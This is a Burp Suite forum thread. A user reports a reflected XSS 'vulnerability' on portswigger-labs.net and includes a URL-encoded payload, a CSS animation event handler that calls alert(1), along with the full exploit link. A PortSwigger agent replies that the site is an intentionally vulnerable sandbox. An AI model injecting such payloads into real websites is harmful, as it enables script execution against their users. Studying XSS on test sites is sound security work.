Burp Suite User Forum

Create new post

Reflected XSs

tanisha | Last updated: Oct 01, 2021 01:19PM UTC

The script is activated through a link, which sends a request to a website with a vulnerability that enables execution of malicious scripts. POC : Step 1: Open the website : https://portswigger-labs.net/ and insert payload as given Step 2: Pay load use : %3Cstyle%3E%40keyframes%20slidein%20{}%3C%2Fstyle%3E%3Cxss%20style%3D%22animation-duration%3A1s%3Banimation-name%3Aslidein%3Banimation-iteration-count%3A2%22%20onanimationiteration%3D%22alert(1)%22%3E%3C%2Fxss%3E&context=html Step 3: https://portswigger-labs.net/xss/xss.php?x=%3Cstyle%3E%40keyframes%20slidein%20{}%3C%2Fstyle%3E%3Cxss%20style%3D%22animation-duration%3A1s%3Banimation-name%3Aslidein%3Banimation-iteration-count%3A2%22%20onanimationiteration%3D%22alert(1)%22%3E%3C%2Fxss%3E&context=html Step 4: I got pop up and error on page :Supported contexts: html,before_body,js_string_single,js_string_double website is vulnerable Notes: refer screen shot and video for further clarification Impact we can execute JS code on the websites' users.

Uthman, PortSwigger Agent | Last updated: Oct 04, 2021 12:38PM UTC

Hi Tanisha,

portswigger-labs.net is a purposely vulnerable site that users can scan to test the capabilities of Burp Scanner. It is mentioned when you navigate to the homepage - "Note this a sandbox domain contains intentional vulnerabilities".

Is this a bug bounty report? If so, please check out the guidance here.

Can you clarify what the issue is, please?

You must be an existing, logged-in customer to reply to a thread. Please email us for additional support.